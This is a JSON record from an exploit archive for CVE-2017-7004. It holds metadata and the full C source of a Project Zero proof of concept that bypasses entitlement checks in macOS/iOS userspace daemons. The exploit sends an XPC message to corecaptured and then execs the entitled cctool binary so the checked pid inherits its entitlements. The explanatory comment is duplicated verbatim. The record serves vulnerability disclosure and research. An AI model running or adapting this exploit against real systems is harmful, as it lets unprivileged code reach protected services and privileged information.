{"exploit":{"id":"EDB-42145","name":"Apple macOS 10.12.3 / iOS < 10.3.2 - Userspace Entitlement Checking Race Condition","description":"Apple macOS 10.12.3 / iOS < 10.3.2 - Userspace Entitlement Checking Race Condition","cves":["CVE-2017-7004"],"author":"Google Security Research","published":"2017-06-09","platform":"multiple","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/42145","path":"exploits/multiple/local/42145.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-42145.c","vulnerabilities":[{"id":"CVE-2017-7004","state":"PUBLISHED","title":null,"titleSource":null,"description":"An issue was discovered in certain Apple products. iOS before 10.3.2 is affected. macOS before 10.12.5 is affected. The issue involves the \"Security\" component. A race condition allows attackers to bypass intended entitlement restrictions for sending XPC messages via a crafted app.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2017-7004","cvss":{"version":"3.0","baseScore":7,"severity":"high","vectorString":"CVSS:3.0/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2017-7004"},"updatedAt":"2024-08-05T15:49:02.343Z","retrievedAt":"2026-11-27T08:09:49.787Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-42145.png?v=2","url":"https://exploitbin.com/exploits/EDB-42145","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-42145/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-42145/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\nSource: https://bugs.chromium.org/p/project-zero/issues/detail?id=1223\n\nOne way processes in userspace that offer mach services check whether they should perform an action on\nbehalf of a client from which they have received a message is by checking whether the sender possesses a certain entitlement.\n\nThese decisions are made using the audit token which is appended by the kernel to every received mach message.\nThe audit token contains amongst other things the senders uid, gid, ruid, guid, pid and pid generation number (p_idversion.)\n\nThe canonical way which userspace daemons check a message sender's entitlements is as follows:\n\n  audit_token_t tok;\n  xpc_connection_get_audit_token(conn, &tok);\n  SecTaskRef sectask = SecTaskCreateWithAuditToken(kCFAllocatorDefault, tok);\n\n  CFErrorRef err;\n  CFTypeRef entitlement = SecTaskCopyValueForEntitlement(sectask, CFSTR(\"com.apple.an_entitlement_name\"), &err);\n\n  /* continue and check that entitlement is non-NULL, is a CFBoolean and has the value CFBooleanTrue */\n\nThe problem is that SecTaskCreateWithAuditToken only uses the pid, not also the pid generation number\nto build the SecTaskRef:\n\n  SecTaskRef SecTaskCreateWithAuditToken(CFAllocatorRef allocator, audit_token_t token)\n  {\n    SecTaskRef task;\n\n    task = SecTaskCreateWithPID(allocator, audit_token_to_pid(token));\n    ...\n\nThis leaves two avenues for a sender without an entitlement to talk to a service which requires it:\n\na) If the process can exec binaries then they can simply send the message then exec a system binary with that entitlement.\n   This pid now maps to the entitlements of that new binary.\n\nb) If the process can't exec a binary (it's in a sandbox for example) then exploitation is still possible if the processes has the ability to\n   crash and force the restart of a binary with that entitlement (a common case, eg via an OOM or NULL pointer deref in a mach service.)\n   The attacker process will have to crash and force the restart of a process with the entitlement a sufficient number of times to wrap\n   the next free pid around such that when it sends the request to the target then forces the entitled process to crash it can crash itself and\n   have its pid reused by the respawned entitled process.\n\nScenario b) is not so outlandish, such a setup could be achieved via a renderer bug with ability to gain code execution in new renderer processes\nas they are created.\n\nYou would also not necessarily be restricted to just being able to send one mach message to the target service as there's no\nconstraint that a mach message's reply port has to point back to the sending process; you could for example stash a receive right with\nanother process or launchd so that you can still engage in a full bi-directional communication with the target service even\nif the audit token was always checked.\n\nThe security implications of this depend on what the security guarantees of entitlements are. It's certainly the case that this enables\nyou to talk to a far greater range of services as many system services use entitlement checks to restrict their clients to a small number\nof whitelisted binaries.\n\nThis may also open up access to privileged information which is protected by the entitlements.\n\nThis PoC just demonstrates that we can send an xpc message to a daemon which expects its clients to have the \"com.apple.corecapture.manager-access\"\nentitlement and pass the check without having that entitlement.\n\nWe'll target com.apple.corecaptured which expects that only the cctool or sharingd binaries can talk to it.\n\nuse an lldb invocation like:\n\n  sudo lldb -w -n corecaptured\n\nthen run this poc and set a breakpoint after the hasEntitlement function in the CoreCaptureDaemon library.\n\nYou'll notice that the check passes and our xpc message has been received and will now be processes by the daemon.\n\nObviously attaching the debugger like this artificially increases the race window but by for example sending many bogus large messages beforehand\nwe could ensure the target service has many messages in its mach port queue to make the race more winnable.\n\nPoC tested on MacOS 10.12.3 (16D32)\n */\n\n// ianbeer\n#if 0\nMacOS/iOS userspace entitlement checking is racy\n\nOne way processes in userspace that offer mach services check whether they should perform an action on\nbehalf of a client from which they have received a message is by checking whether the sender possesses a certain entitlement.\n\nThese decisions are made using the audit token which is appended by the kernel to every received mach message.\nThe audit token contains amongst other things the senders uid, gid, ruid, guid, pid and pid generation number (p_idversion.)\n\nThe canonical way which userspace daemons check a message sender's entitlements is as follows:\n\n  audit_token_t tok;\n  xpc_connection_get_audit_token(conn, &tok);\n  SecTaskRef sectask = SecTaskCreateWithAuditToken(kCFAllocatorDefault, tok);\n\n  CFErrorRef err;\n  CFTypeRef entitlement = SecTaskCopyValueForEntitlement(sectask, CFSTR(\"com.apple.an_entitlement_name\"), &err);\n\n  /* continue and check that entitlement is non-NULL, is a CFBoolean and has the value CFBooleanTrue */\n\nThe problem is that SecTaskCreateWithAuditToken only uses the pid, not also the pid generation number\nto build the SecTaskRef:\n\n\tSecTaskRef SecTaskCreateWithAuditToken(CFAllocatorRef allocator, audit_token_t token)\n\t{\n\t\tSecTaskRef task;\n\n\t\ttask = SecTaskCreateWithPID(allocator, audit_token_to_pid(token));\n\t\t...\n\nThis leaves two avenues for a sender without an entitlement to talk to a service which requires it:\n\na) If the process can exec binaries then they can simply send the message then exec a system binary with that entitlement.\n   This pid now maps to the entitlements of that new binary.\n\nb) If the process can't exec a binary (it's in a sandbox for example) then exploitation is still possible if the processes has the ability to\n   crash and force the restart of a binary with that entitlement (a common case, eg via an OOM or NULL pointer deref in a mach service.)\n   The attacker process will have to crash and force the restart of a process with the entitlement a sufficient number of times to wrap\n   the next free pid around such that when it sends the request to the target then forces the entitled process to crash it can crash itself and\n   have its pid reused by the respawned entitled process.\n\nScenario b) is not so outlandish, such a setup could be achieved via a renderer bug with ability to gain code execution in new renderer processes\nas they are created.\n\nYou would also not necessarily be restricted to just being able to send one mach message to the target service as there's no\nconstraint that a mach message's reply port has to point back to the sending process; you could for example stash a receive right with\nanother process or launchd so that you can still engage in a full bi-directional communication with the target service even\nif the audit token was always checked.\n\nThe security implications of this depend on what the security guarantees of entitlements are. It's certainly the case that this enables\nyou to talk to a far greater range of services as many system services use entitlement checks to restrict their clients to a small number\nof whitelisted binaries.\n\nThis may also open up access to privileged information which is protected by the entitlements.\n\nThis PoC just demonstrates that we can send an xpc message to a daemon which expects its clients to have the \"com.apple.corecapture.manager-access\"\nentitlement and pass the check without having that entitlement.\n\nWe'll target com.apple.corecaptured which expects that only the cctool or sharingd binaries can talk to it.\n\nuse an lldb invocation like:\n\n  sudo lldb -w -n corecaptured\n\nthen run this poc and set a breakpoint after the hasEntitlement function in the CoreCaptureDaemon library.\n\nYou'll notice that the check passes and our xpc message has been received and will now be processes by the daemon.\n\nObviously attaching the debugger like this artificially increases the race window but by for example sending many bogus large messages beforehand\nwe could ensure the target service has many messages in its mach port queue to make the race more winnable.\n\nPoC tested on MacOS 10.12.3 (16D32)\n#endif\n\n#include <errno.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n#include <mach/mach.h>\n#include <xpc/xpc.h>\n\nvoid exec_blocking(char* target, char** argv, char** envp) {\n  // create the pipe\n  int pipefds[2];\n  pipe(pipefds);\n\n  int read_end = pipefds[0];\n  int write_end = pipefds[1];\n\n  // make the pipe nonblocking so we can fill it\n  int flags = fcntl(write_end, F_GETFL);\n  flags |= O_NONBLOCK;\n  fcntl(write_end, F_SETFL, flags);\n\n  // fill up the write end\n  int ret, count = 0;\n  do {\n    char ch = ' ';\n    ret = write(write_end, &ch, 1);\n    count++;\n  } while (!(ret == -1 && errno == EAGAIN));\n  printf(\"wrote %d bytes to pipe buffer\\n\", count-1);\n\n\n  // make it blocking again\n  flags = fcntl(write_end, F_GETFL);\n  flags &= ~O_NONBLOCK;\n  fcntl(write_end, F_SETFL, flags);\n\n  // set the pipe write end to stdout/stderr\n  dup2(write_end, 1);\n  dup2(write_end, 2);\n\n  execve(target, argv, envp);\n}\n\nxpc_connection_t connect(char* service_name){\n  xpc_connection_t conn = xpc_connection_create_mach_service(service_name, NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);\n\n  xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {\n    xpc_type_t t = xpc_get_type(event);\n    if (t == XPC_TYPE_ERROR){\n      printf(\"err: %s\\n\", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION));\n    }\n    printf(\"received an event\\n\");\n  });\n  xpc_connection_resume(conn);\n  return conn;\n}\n\nint main(int argc, char** argv, char** envp) {\n  xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0);\n  xpc_dictionary_set_string(msg, \"CCConfig\", \"hello from a sender without entitlements!\");\n\n\txpc_connection_t conn = connect(\"com.apple.corecaptured\");\n\n\txpc_connection_send_message(conn, msg);\n\n  // exec a binary with the entitlement to talk to that daemon\n  // make sure it doesn't exit by giving it a full pipe for stdout/stderr\n  char* target_binary = \"/System/Library/PrivateFrameworks/CoreCaptureControl.framework/Versions/A/Resources/cctool\";\n  char* target_argv[] = {target_binary, NULL};\n  exec_blocking(target_binary, target_argv, envp);\n\n  return 0;\n}","sha256":"0beecabca13832b982147caa0274966ac084a3f866b2f939714ddb0951c2d3cd","bytes":10327,"fetchedAt":"2026-11-27T08:09:45.080Z","encoding":"utf-8 (display only; download retains original bytes)"}